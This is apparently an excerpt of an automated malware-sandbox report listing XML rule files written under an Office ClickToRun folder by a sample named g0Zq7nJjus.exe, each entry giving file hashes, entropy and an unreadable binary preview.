Preview:	<?xml...l2&.4..0..-.....3.%6...0.Y.W.#sw\|HG..%..m..\_OIZ1(..-&;.......$.\|..._3.....F.....H\|........1..0S...;...c}I..~p.....6D...8.$l.#.m....h.q3a...t.q.V>[L/(Z....}.Y.z..M........V..o..o.....iZoA[.......s..?.Qo...<T&.y....-...o.Mf..G.N.u..c.v..[.$9.:...0gJ....sq..R...A.......U'..8...8Bq.f.yS..-...).y....VO/..1Y.9w7..c...Q.....P.t$y..z...=-...g.._..?6^u.....Fp.G....'...g..B.....s...L.a..0..d.D..2` \.vs.aKJ..M...+.P...N6s...&.e...V..&.b .."..~$.......d..-.0+.....^....@..&p...H\|(<."......\.xt.........=.).B..,.?IET...4m./.xU/...=.8yB#.o....QhF..P.V.Rr1j.-.....\......#.. W...ty..3.~Q$..Q'...[#.............sP...[?.e.O6..}.Fz..+.....>A..+....t......@..]y.U&9.M"OT.@..L1vg..p.,.;u.y.#A.2..@g.V-=.....r.....D.....q..Ip..5........$R..\|0.,..d..?u...Na.yd....?....m.A....6.._..@.F/..L>^...kO...N.?.S.oUv.M~.&..8.,-.....#.....b.].. .%...K.5..tS..E .;~:^.KK).....^..e.T<./BMV..K.....tLM..%......a...A?\|f...1\|Z.b.......\.....i.....M."'x.....B.l.....Sf7.lJ_.2..U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.8945573987063975
Encrypted:	false
SSDEEP:	24:uIqctBnNDP8QQHTF57TxbZS0lKHjqLnsTT/S9uBxCjN0NQHuSxEuvh2bD:umnpkPTxlJKHcmT1kjN0FD
MD5:	3975854FC3ADA465CE51E2B83D214604
SHA1:	E8010F656719D5A7DDB413E71FAE1BE9A8E7F789
SHA-256:	32182492FC44EC1038E72971710566CCC7DE8EAF185F577DF16E47159F8A866D
SHA-512:	986DD3D765E983CF0E3924C79B67CF684D52005288412BDD9BAD1C1ABC559C6BE22219F6F6C83A2AE15633BD19C6E9C8A91AB1446F2B7F8314289B3F827EFA11
Malicious:	false
Preview:	<?xml....py........,.....j..o7SjL.wN,.......I)........`)(N.."?..rw.....b.&o..\|.SZ..s...t..-...9 .q.b...Y[...S.S.K~..y.Z.@........o.XR...Z.r;.IqC...O+".m.t...p.h<..........`.4.DQ.~q.........+.....e.D.2......H_.r....5...C...y.......?.`./.4.v...hT4.06.-........{../z9.2.._....i.~.q....x#d.......x........R..6.W.I..Y..._eA3.....9Z;`....#....dR..............i.>GXkI.m.......QF......H.7..E_,X....T5n..R?r.......}.?....u..-..\...t.....L..Y&.0....'Y._....+.a...-.e..9..T...d3...LWL..2m....5t.)x..E_..i...%.dY..A.>b..vL..l-....t...N.......8.EX..)g.H#e..oF<...M.m....b"..}..K.... {).....:..]\...n.~gu..&.N....A.f........w...DB..=.......:J.....,U.'....R..2R...M:........9.......hy{....?X./+c....~.[+"E....F.@.....'..R..\......,.%$..W.s;.f....+."X.V/.....t6:.e.Wx..v.......0.9...7:}..Rz.5..]...p.f......p.E-.s......&....y,..2.O./j.Si .......b..s.h.c.IV.Z.f..k..1tj..Q......~..M.M.#.+x..A. e\.... .^p6.,...[..).us..~..._lh...Ja.F. ...e.uR....iU....5..Mlr*...y.iE.'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8839885701926455
Encrypted:	false
SSDEEP:	48:pkqxo62MJpTkLVAV2JOelfYr3k0AsBWUB8NNv1GED:GqxmLVj5Yrk0As38NNv1GQ
MD5:	030309208AFEB09C839F17CB1C3FBD4C
SHA1:	F0EEBB79280055ABC27657FDB77261247B8FB1D6
SHA-256:	2DC938D88ABEB30E91AC015183B2A43D56D54F24673172DDB5B5B72BFEF39E1A
SHA-512:	5A3CDC5EE7019DEAEB891CF730EB0B02390F30950CD3468FF03426A8B79E95394BB38AA4061E6CF5C9199C43E9A356783331E674B6141B528DC57C0DF4E71F37
Malicious:	false
Preview:	<?xml..V...M].Z..e.B&............F...`.N.?.M7........3..b:........S...=.j.B"..p,.6p.G.&J}...2:.:.z...3v.Q!..qF.1../.q;.^jBIu.N.I...8..R.5.Be...\|..NF.B..f...C ...v.......e.k.........eUVb.z.......K.....KL.8.A.......?..5...yF...........@%..T.P..'=....z.^...f...S\..I....M}(..9......... ].(.....z...I\%.......wT......K".M...J.W.....u..aom.G...u...(..t,f.bE.[.....i.b.~..v....PW..._d4}...........]L..9{..z.7Z.{.+(...d..O..bX..d.......$u4%..P.<FG~<..0"...s....{..].8=4...T.F.../.h...<%.}.....V3...o[..=...H..?E...L.BL.....HO6.ky.s.j.U.=....a. U.P+Z......x........b..ZP@..IL.....8^n7.9.q.t.Kz../R\...`.r...+.K.n.8..l.>1."...~..8.#.7.H#........d.]>I...{.....W".....n.....g.+Rl!._..#......l....X..j\|.d.%.?)..0.$Hc.G.....9.Rxv.iT.N.Le.../B.rD3\e'.=.K....z~..%M..<......).'qB...D[CZ.k.....bZ..R.U...z...+...p..LwDyX!..t..G..OR.....C...:O.j...Nl.:.@.8.rkw...k....~.4Kbhl..7.....q...BF.[{.bc.!..F.;.I..R>..S......u.7......q.B7..^....j......./.E/....>..Lm*.v....S.U=.h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.886699767766928
Encrypted:	false
SSDEEP:	48:q2JI6LO9kLtqk5vnPF92DDLeKBxgF2WWBDlWGlD:ZTLOkp55vNkeKwMkO
MD5:	F934C2D5AB020F1A744933F489B2317A
SHA1:	14EA2E3262DE7D04C235A5E809C5A56FD18C608E
SHA-256:	0628F4F60B012C8AC39B5C12AEA6D00C472EC6DAA08BA1A3624A808A7514F134
SHA-512:	FA7F9E6980958468DD1F22E4BD03C0F443A2E48DE99A161BEC605C27E477733D6F887FB646BC530007948EAE07BCAFDE62EA669FE48C15B468CED4609D7B86C8
Malicious:	false
Preview:	<?xmlo'...j...P..4U.m.gD.Z.\|..AI3....C5E).....\|.]b..A..Xv..H& 7.m.i..<...9...B...p#.ds.A.....w..d.\|H.G2.9.M.zT+.B....[.B....o..b....p..B..h........z..Bo...,b...Yj.DMV.iU.V<.........]....~..A...Z7..2..gs..P 2....6..}.Y..S..0....b..]/.NG._."#.... e.4.0.h{5#..D7.H..@'.:.4;.....,.U.'3.;Mmy>.E.."........m.....]7)....jx .'.-...H...@..q\|U3.si6...4.d..n....Y.I.W....M`w...^.........`........3Tr..T....d.Qi.F...5..?Ym..B...{..M..a...".g. ...b...._.W.m..Os....9h.E...@..l.....=.....b..Ukn...2\|..Lj.1C\|.e..AjD..r.\.A..z!6...z...M!.m.. R3{..4&@..8k.<......t.#&.fB.H\...]....Z.^..X].....=..@Y..,d........J.Z;BB...Kn...Q.U..Pgo$..(R2.4..X....~E3G4..M..FW._%X.(...../w....r K-moQ.1.A""t....=.....T.W.f......q.G..)_I.N..D....($....>..`.V.W.....eGs..}.../..p3T..i(...Y.0..I...p..d.8..........Ys.....K2c..K.m...c....xt....&\..@..\.M..%.......K..,.No&......N..J...,....A}...my......1....<!t....I....r.d.-y....E.7.I.a./Q.E5.u....bg.x,.#&".C..,..}.^.$...D$e .T0[<....404

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.880609533347808
Encrypted:	false
SSDEEP:	48:0xb0yOokwRSYHlIMdzgJr0F6s4zcPg2/Hwxks4ahhN+s3LbD:0fJWMdEJGHR/6ksn/5X
MD5:	3C1D1F3BE2C646ECB5EB1B645EF8DA2D
SHA1:	5E64218D1F0DF503A5EC67848C7010538202C5C9
SHA-256:	2EA0D9BB95E01492FC4A143A6D85FE42146DB2F49615BA03A8327F969B2ABD91
SHA-512:	047F686C80B5F2BC432EABCA6103734A66BC6880FE5ECFA99CD2ED9C9D00780AE9B90CAF0A8D6C11D164C5E49AEC32D50AC01AF813BFBEFA017DAC49EB740C71
Malicious:	false
Preview:	<?xmlD..C.s..-TC....6..ya..}..\.8..J.....T.f.i+......3....t.8......K.L. ..e..f YX.....x..Qg.../Qt..[...:......K.3.......]............z8.......r.E..L..u...>...I..l....L.!t.7I.%Z......s........$v...^giQ..b...H........wZ0.......Q.I....l%L..9^..sv.l...0..n.........y....?...%'.^.....<.........).BC.......U..f)....g.....R.lb..^.;...*./FUen.}.....W>w..I.QQV.a{t ...T..f..JV.'...<-j.s~.{..".T..:...u..g.....L........V.%.+\|....Z.<...J..F).....`O....m..lW....".._7..Xq'.Y.b.k.H...=;T..P....7...o..L..kCaE".. k."7K\.$.{.hl<.@v.D.(...Y.N3/L.\....@..I.....j.x.Js.:....i.Ri.O<@...A...{.C..u...>\...T^..G~.....h...a.w&...U...4s..ND.2.G..o`...?@...N'.l.....4UH.?.....,..4...[.4r.......hd...0I.O..0..T....?..+.x................r.WX...n.....AH.=...T...V......x.\|..8.O..8....]....g.......JE..?...^.iu#Re.{N..AV...w.io.B...B0.C.8....E2.8^.x&..-.Vh.......}.4.Y..e..N..{.;.....t...CZp}Cu..v..9].......{.<....7.....vA...%.#........L...'-.t..h7..^... .^.6t.(.a.u....K.X......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.8800680953023825
Encrypted:	false
SSDEEP:	48:/skwfzCU2LD4iOaMymutfc8aeyhg7aAtIk0iVLAhD:/Sflijrtfny2bIeSJ
MD5:	A6489523EB61647D29F7D2B70F1E8CDA
SHA1:	E4076AE225E49009FD1B0EEED3FE9BE2516B6146
SHA-256:	CB51417A50115BBF9F39288E4EF12CBEB480A4D33EE574EC00E3E906F8BD695E
SHA-512:	ED179AE8E9B4E0901CC31AEB3EF76CA881B5B4602A6C31D1C96C5F170181D0AEBD5A7F38AD0993FF4C20228F57580FE65A6B8E9A1D97EDAF551B493A5436D4A5
Malicious:	false
Preview:	<?xml.l-9Eb..b..F............g...T3>..@.[Ww.......l.`L.#.Nk....s...b...6R..#...2.....;)...N.F..r&..<..d.;..v9.....6........+.O.%.:.2.}..B....."B.h,.q.....92^..V......2....^.Y.5.0.~.XT...S..e.....PG.T.8J..j]......$Qs.4....1\|...b..!.).h#.4...sN\|."....bZ..f...Km...j?..r...J..._.e?C<..P....M......o.0.1[>....:..v..V...L..g.....a..M.VQ.w..6}..%.....ak..{..?s....5V....._.W2.h...<...+....+.........a.]E,........E..^...v./.....".%a..X`.h.h)....+I.Va'.Y.......e..Fy..V..9.J...$qkI.M]...g.r....;.1s..{/...Ud.._)c.........J.1.I..(...A:.B.=x.}M..`....3.u`...5.../>..u.;.7....Q.G.....^....'..m............t4..R.`...N.."..S.M.]...........KM..c.-..G0.z..Yk-+...]:2.R....Je#..&....D >w..Gw..X.......8.E+......r...5N...N...K?;A.gY..sr5.b..jM.../...z9....ZT........B..T.It.].+N.....I).....@.;.V.5......z.9.....X..C..,.F...Q).......*..%{....4..L..X[..N....48Y(...55..W....+......%..Oq.....Qs`bv..b.".\|W7...'O.."..Y..S.T ..#L...^..P.......g.....}.ee.D......vT.{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.88424704927807
Encrypted:	false
SSDEEP:	48:CGF6savQue1fSXM+T7C1H0r96SscgUf4NH3HhHVtpLD:CGFR1R1aFTGN0r96S6G4NXHhF
MD5:	BEB4F4BCD0A428FE4CC26A0CC639269B
SHA1:	9823B624787DE94CA322D41D0996F1951BE45A44
SHA-256:	758C0DD6160E653208F64FF6BFD32B343794DFC6A30F78BEC88052D77C03880C
SHA-512:	CFD1EDD8C3A2DCBC1C6E95D528841EEEF15B1DD04CD8D9335AC09C343EBFAEBAFFDB724E3131F796AEDB4A7F5BB4AC02BDC4AE4600215F96CC5E11B9422BE786
Malicious:	false
Preview:	<?xml.-.n..a..\|.4{o.\.F.'p..A..;d^.'..K.U.....)r.q.^...H93...z4.[..\..?...E...k...W..R.>O.l.(O...\|<...;........e.....}..>f..w..u.$..%{...0....Q....{...B...)....@1.w.....gM..........A0.u..8.9!..{G..D..?...LF..}.+z.P.A...1..e+.......g;...(...A...}wAx...B.+O.9.j.>......f..-......P.[....2.UO........[n..~.~.j.#N/.......5....6c\|.UQ.a...^?...b>o)k.'.v.....1.#R.e...\|..nI....s`\|.?..E.....o...U................U./(.5.^.T.$..nRl..Q'.\|d0p..7..Y.....o....^.).Y....Y..Q...l.......:;.5..i!i-.....-......)b.`z.F....^.C...w[.=.'..m..".g<wL<_?....yY.m,.F..h.b.....]..<.i..n.....>...p....Tf.......`.+.'Tj.v....Er\|."..t....P........1..p..W....P.k..#..)).i..P..Q!`h.e.F....,.#.'...qU.I},.K....tJa5....N.....n\|.:..R.SN...q-..]..n.1[..1dp........DC.n-K....Z....Yll\|.1...z.......~.:..'.I.LO.ek}D.eI...".BPt.tj.K..s.....$T9.N....A..nM!.F..]..d[\|Y.T.n1..CKy........?.T......7.u...k.\|2...f.Y.....l.s.P2...Dj.. \..)<G3..&m..}..L..N.......).c,i.vW(H.h2.eD3.Z........jKc.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.878341423506142
Encrypted:	false
SSDEEP:	48:cHzBXXdizF1ZIqGpPYlALSMUUwpc4exn7WFHD:OlnlBpWAmMGpc4exwj
MD5:	20D7F1C48CD23ADA571F5C95683C3D2D
SHA1:	92923B98F0ADD78036E220550FCEAEF732EE5795
SHA-256:	1948AEB7B9453C4F305924C9AA497F86D252D4CDF664D7CE99AD9466917A3472
SHA-512:	D9EEF9EDE58BB2CC4398722DD3D970D51620AC7B3805B0DE312BB36961911470FB555853E129715D97AFE4B088E80BE3DFE5409123801187102D45434234C84C
Malicious:	false
Preview:	<?xml..E..Aw...+e._...a.`...m..{IJ.U..P..we...hI(n6..A..#1....Uh.m...ZPv....Y?.^.N.......r.:I...ev%..P}.5.k.w.W0.5PV....k.G....O{.7..Ig.A!.+}GY.....c._...:.`w..pI......"W....x&.......@..\..\<.\..N<...Ll..r..e......f...H.Z}...~.1.h.H.....T...26..6...v.o.\$..U...;Z...5.J.T]=. .j..z......!.{6s......:.U...VqA0Z`S..#.%.9..N5..V_...8.EI<..v...U%NVG=.a...p.h.<...1.:T......z..zb.I...2.`.Z.......[.V.`0...z...Q..'s.[......O>k.].v+~.k......jK..RI.bS^........\.u...).......Yg@6b..._a.(S...........D.[........1...Q..ec.L..F.A....zw..p.....Md...TK.D.LrA.N9D....._;!u.v.Qe.....t....T...........47..S.u.=..mT...qv,...IU"\|..?.N.......]..B....:q..&..<.]....v3.iu.1....%.^!.Z...>.P.zX....rW.vK.....E..GxKt.D....cup.<.!.m..i...#..s/=....^...>[.Q7.../....!..\..e.Kj.G..X.E!iR.C^...(.R...sS.%.weQ.`.W.K.a.+....i.F...FN.....d....D.....-..V5...0....+....#[...q......c\|.v.x>~j.:?..F.yg'..9.WXqQG..6}$..U-..:...~.....ce..^:..........fYAAq.k..2<..2dY..'p.9.K..=..;...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.898906661323878
Encrypted:	false
SSDEEP:	24:oyr/8NqDpM9n7hag+IQnl5eietjtrksQcVAZUV7R7gXjTuSt+IpTSVYAzR2hH9e5:oXem9ndXMBOprNAZE71gpxYI6Lh08/rD
MD5:	19BC61611DF8D91ED7ED067E9C107A11
SHA1:	1BE7AFB59D1CAF8F8A475A2572AB14EE75EA98A4
SHA-256:	EC1BDF20FD6ECEBD47F6059C627CEA0D045043B9FA3CB6CC7E31F14EBAA534DC
SHA-512:	FFF1164BAC9163685797D682B3565E13779405B3F9C2115DEBBB839DC0FC1B8330E469B3366DDCF306DA79E5C07A9D3C32A42B5E3A702E612606BA343DD23308
Malicious:	false
Preview:	<?xmlv..N.v.\|.....n.......+.zkn.0........ao.>.....iB..#..3Ia...(....8$.....cn...@Q>+.%......Y...X.6.O^^V4..m.fB-....z..v..4...8.e..9C.}.J.L..1.ZU......7....]...[..\R..(<...d,=.KU..op......,W.$.....})..s...H..1..X."9...N..5..&r..k..;@.T.p..n .V....d.x....0..s..Wt..m..N.G..i.>}l.6U.m...[+=....b.K..@b.p.&.i.....*"...o..J...y_.=.yFh.'...e\[22.[.9...qW=v.$..W..\|..^...#..cx.M......i.....)7.t...YF.kU..Dgh..G...D.t...>.w..K....o..X.......ku.Y._...c..[......"..9..U.(Kzs'....Wd.@..o...`...K.r.....L.......8.@.....'...?w.`..%A..j?...v.....$.R....E..f...p.<O4....k.6......o'.cU.2.e.........&.....(....4.]eS.s.qkl...I^../...!o.9~..}....,P..e..[M...n..E.}.....VqK..WYX..txk.{.8../.z.Pw....X.....w`?X.4......3...ye...?.fR.l.1.'aBU..v.}..?...Fr`....z......#-.'..5.......^..H.!.\ ......w.."X}jv5plxmk0jH&.X....Du.D..Q..`i......~9]..M.z.G..C'h..S;...EN...x.......g..a.f..,.Z].+.,t/.s.....,.....i..g..r.B....%....).?..:.....-..K......).G,.].-A.g.L.A..[...h..v..I..H...@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.8808772106534395
Encrypted:	false
SSDEEP:	48:/kvVR23377JYH1uS7+hKayazzaeeL+GAD:/gO7+kS7pveeL+T
MD5:	52C120D513892946B56AF54DC933EE00
SHA1:	89FF4B1BC9401E51D0F0CBC91538F5D3845D9875
SHA-256:	B77DBCC648D6E1EFD94C1F641B369DF9E64F8F5622D114A49134D0631A4B4642
SHA-512:	3B65C0F02A9640B5BC9ABC9F56268B4E98C3337ACACA9117CE868B7A7276F8DB95260DE792770B54414905C1A4408ADCBB41B23E3A3AB59F401E396C16BABFAE
Malicious:	false
Preview:	<?xml.....`...j.tr.f.s...j..#f.....O....Z/.\.....'r....(...0./..R"F.La&...:..mC....h...F...t..IV...R.`cT...6S.Q&#.....A...7...%......._.s.w.-xW..q.t:U.j...s..M.. .....>h.%...<1..{....g.......<l.....G...y...~=_.%a8....8....".<........E....y....2<.zC..#.m..%.7C......D.j"K.@l......5U7d.EJ.../.".E. T.vE...98.....{..CL......[...Ti.f_g1.....i"7.....L..7.~.U.....km..mn..C.......a.t....!.....)$..Zu.f:.".>dRFO%.d.F?t..l.h...;$8.d.#-j...cg........K~.?ho.yp..o.gq.<,........f..Pr~.i.t.MF......l...p...e.&...Lp.G.m?.....k.a(.@k....n..L..%.1.G.(...w.t.&.P...~Ms..g...f..I..Q%..s7..TEM. .Lc..f'..........e.}..j.(T..s&.T.a.9..V^..v2b(.I.WO..Q.4.....^o....a....w..I...Y..w..z.S.......Ut.F.....C...p.^Z.......nx.`..\|.n..yH...h5".z..,.zPH..}p.h.>.....%..[........v...d.6H...'7.^.'.l....K5..$......Q.K.:(.....<A..U..D...[>3....%....zD..L...y...t......,..g..QDf?.+.....N.QQ*....&...Yn.M..wZ.^......~..V..~...`....J?. .a..v.....\.Q..O.d.P.aZM....<.yS..H;\|+#K..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.888218036550875
Encrypted:	false
SSDEEP:	48:5VMGKNNkYDHH7KRIEX2O0QK7sILRpk2JzZIrFuFD:5V8NNvDHbKRIEmOpDrxu9
MD5:	4F140987DCF4F0419850181C87F960AE
SHA1:	AE4916C532BBB534591C27E9209E356723E363E0
SHA-256:	DB099DE862F60EC04684E4AAAFD4068E3616EEBA800FB4892FA5E24C338D5E75
SHA-512:	BC2D9EC9FC42A7616FDDB047270F075EFFEB3F09BA0B418E8B29D9706BAD175D1EB540360B8F1BDB223317AEE1323EA57D15C5CC3FDA7148AE2A505A6C2E0FA6
Malicious:	false
Preview:	<?xml....PI.C.\O.K...3QPg3..1.B.R....N..r$<82..R.[%[....3[T2..6..,P..qrpV#..N..............qI...y.I..D.....U..?..4.P.h.".#9AL..r.......".yOx..~........k...a....C. ...i.0..hI..G./v$.......>.........u..]j..k.z..=..I.s...U`sw.k.R....gT......W...#...D.o..}.p..D.....].(E+....O.<......_.s......z...W...jf....e.[.....V........&.U..)`. ...}y.\|zx)...t..q.;.....!=:eJV~..+"...f#.48$O..e..e7..q.Q..6.ItM.......]..5mo..c......4..e..Hl.r..e,9......kk.....Q. ..d<.`.".R.4....N.y.....Zv...uY:.d........1q/M.w.<...2.GeQ...k.7..X..2.%SR..Y}..'!w..{..$m.......q#x.O..T1....F..vVU.....d.G..u......]......6.!.a.....p.I..z..H$....(.Lq@m..X.u...9.?.-..C.;.A..G..a....sZ....o^.vc_...#1...b.$&..O...b.V3.4.....?N..._.0..Mn.2.'.<W..-..0.A...Y~....R...G.........?1x..1...!......?...*...d.C<.)\]...vC}...}..0%..#}.^h..c@p.NA.Rh..M.W.%...e.f[c.=j.......6U....sR.4Z..lC.?p....../...Ez.bYt..L.S...N.#x0..`H".Ml4.f25^.).........@}..[......HD8......-.7e..K.X..0'...K....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.886278051885252
Encrypted:	false
SSDEEP:	48:1sRHd8XQ5gknTtYz88TVeCCzFMsL7i2re92Un0kDuD:yT5gkeY8xeXelXpBW
MD5:	6B471CF9391F24B1580DA2DD7DD40DDE
SHA1:	61F3344C90530A54BB693C5CDA7500EB61186C84
SHA-256:	3B4E2178B3A5C5DBD1F8C6B333052B40E51C3ECB1DC934D74E602015629AD096
SHA-512:	5F2DB19A3BAE254FCB02BB956B3B5D5B20A03FA27785A6521F8B866D78B8BF6E9DACA03FF95C1FADED562E255EF48ECF209CE15D8C28610B594E7D67E8E97532
Malicious:	false
Preview:	<?xml4A.xv.l..w2.9..?&r...i.$.$...HF..........6'l.+.U..V.)3t.j..!.P.Q%$.J.T..g{.$E.......'.K.>..........&C.<T.1.}&.[j.J\|..v.5.,.d[L.........uG2.H:....xb?.h_..D.~..o......(...UX..J.(...x.....\|...{.,.....o.<..6..9!....D5 ....MH.Z}k.C[0..Xz..'Mu.<-...f[.[........M.W......V.....Qv..U..NS.).bu..b............r.~..^.........7....h.7........7.B....>Tj:.p+]+.g.T.Z.g.9.........b..;..A.x.k}d......,.s...n..Y...%..<...Sk(.Sq,...,j...`.8K.t.7w....`......$..pK.w..+....3.^>.FPR.././.Y.g....:...s2?3....=.F.. S`....X......D.V"....r..dfKxJ.1..$..X...Z.b;>..)lT<.+k.~[..k......6...^g./N..d+..0e)....v...H.gh.w.........&~A....>.w-.R.[;...~..xU!......c.ha..L...D.E.[..1..KsX.$N......UW.../..I`_y...'8)]{7.J.j...X."[.d...W...e..4F.o!.rM..:?.R....U^>.P&B.......)xX_...Y<T8.@..d.Mo..6r.......A.......LD6..Y...zw.......1.3.+..w&..%.{...._z.q..kUgo..j....!.{jV........>..b..+.'q...y......9._,..K..T....[.m3..-s'EL...C.6./c.Ej..\|=J.x.mO/^...$.....8x..-...E.o.n?Y.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.877841271966399
Encrypted:	false
SSDEEP:	48:44peoOvgrIbTJv9WI2lgRu3LLTOjDZFnAMeHHe1zD:4No5ruTO3ceHTOjDZ2e1f
MD5:	A128592B306433C118BA23039ED44B5F
SHA1:	1BA3940715DEC2BEE950507EF321DA4E73E03540
SHA-256:	EDE9300FD8AFA2372F2B53ADCF908941D4A8CD0A6ECC743C347B12405F56550B
SHA-512:	FA199ADBF7199EDD1DECD3D3A83A568DFED73ED8FB13979952E3844FBC7FECAAB7E4450C81A0F0FAD1BF96B7F67F49BD810261BD3807B2DD1EA9D1AA73F336A1
Malicious:	false
Preview:	<?xml.\|H.5......u.QoA.M&k}.gt..#..K....gqd....<..?...Q..K..q(..j...X.H.........x..#L..`.mZ..:Q.E.>....L..6X...A<.......rpp.j~7....X'.7]T.>N...?B..'..O...[....+.Q&..]F....D..>...X...8wqG..ci./.!.b...-.3 a..S... ....$....j1Al%IX...BG#1......k.~..`"..-n.C..],..^.....p......f#6..)$.Y.....~x..=.9..G.6:U......\........Hn...f.N.9..D.l..{.c8M.A.(...G?a.q..S....".....<./..+j....X....Q.&.....^}j..??A.o. ..g....{...I..(...AH..\..d...'...\s.y.c........}......ivw..%../....&.UD.....df.Ke.........`.....j..Xh........R.....baCp..j.b.VW.Bq...!A.].f..A.._...s..zr.$]-..'-...Zr.p.K..-.!'.1......Z......].Ef....l..=caG.K..N..U."..~.'.....d}G.T........gk..r..`...M...X..g..r.......1.G=..8...?...K^z.<..F....A.(.hf.g>U..j.B...}...R.v.Y.h.>..Xx..w.B-....k......'..~J7}Gr.......j...,[.........Z.1..K..rY.[...+...I.1..k....q...A"".._..z[.!...vz.;...>CD.....?....L.........@.Y..r...0....y.AD.;....l.....K^RJvzBvG..O.....m..PP..E.3'./...E...)S..').H:s9f7m....RQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.878096399771683
Encrypted:	false
SSDEEP:	24:Wjnh0OW83cVMXPSmu2B7fzkSj8KXMN+X16h8/2ijUNlLlEBvZwzNoEGX7V6dvp7T:Wjnh04XP5prko83EXDgrLlg+zLawBouD
MD5:	527276BBE6335F1AB5C39372677DB7FF
SHA1:	FD1D07964EE6404992DDC9E5204D05DE5BE79861
SHA-256:	0792144BCFD87BD559B2F22DCF8D2EE00B8F8B21B94FE9AD2D13955C84F4E84C
SHA-512:	E50137D3471995BA23B6BBEB92327C044FCCF7DF4CE4E619047C5AB12CDBB7F8FEB869D392374A1E31510ECEC72D0E82D21C052E15AC1A7009042464C495324C
Malicious:	false
Preview:	<?xml..S.A...In...!5@E.U4X...S..W.....;5Ix...NH...7e..}..d6..`..Z..%..3.....x.6#.,.......P..UC..;...U.......z .Bqy.ES....6..h...C4.m.....R..p..]....X....a.....-.....y,..d".RDM._.3H;..G..7.s..B..\|S..P../..A...+.t?.Z.DI]Me....lxX.#.........G...7.-[..4.._9...6.].I._.(.`...Q{......V.,............"7)Z...]...P....2.X....2.^..>.......q.e.v...7R.M.Q..cY..^Xq..5.cr....I.i..1...c`.......X../U.c(....X,...K.f....m......xU..&..SJ.l......!<..1.q69.'#x.{..(.S.1z..SH....,1.........r>.\.I.....VH..7.z...`..S.z8....0......8.....^}..._.."..N....Ug^..\L.....sk.S.~.._J..[....$..R.Q.~6.m. k[)...f.Q....x......c.b1.B..{.=..`........:3.1h.^..0.L..^.........G.[..:.\J..8?.v....Y..~...C....u ...2.8...auq._.....p.M`.\-$..[MJT..(l6.Gq.:&.i.N......A-K.;.Xwmy......j`}.(.....T.t.W...S./S.h.P..Xg\d...pIT..._......13...J...T.gW+3N~E..CZ....Y...Sp.7d.hv.<...:=~m...!.E}...\.,:5b%. @..9....\|...x!.X.yl..C=.'k2.M1..EGf.t.l...l.........................DY*O..V.K.A..N>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.8917506908865045
Encrypted:	false
SSDEEP:	48:50WxmvydafBHTRy3C9UGg8SLu9E3RlYac7BPQ2RLrjD:50WxmvydKBHzQ8SLu9YrwDv
MD5:	F3E008CCE0AC71A397765220D18C99B5
SHA1:	5437E249F6711F7E73BB8D59CF69A28B308DECE2
SHA-256:	184020AB9991E5B51B6AD63CCB0EC68353011D113BBDC7C5C2B224EC02AFEF86
SHA-512:	94F8092F55AE86F0E8750BEA1678C499478ADDE9F291AE6213FF80C4B04AACBE868820B6FBD4EA64D33295BA15B54F088917F6DA38D8E4EB72DE0B0239CBAE84
Malicious:	false
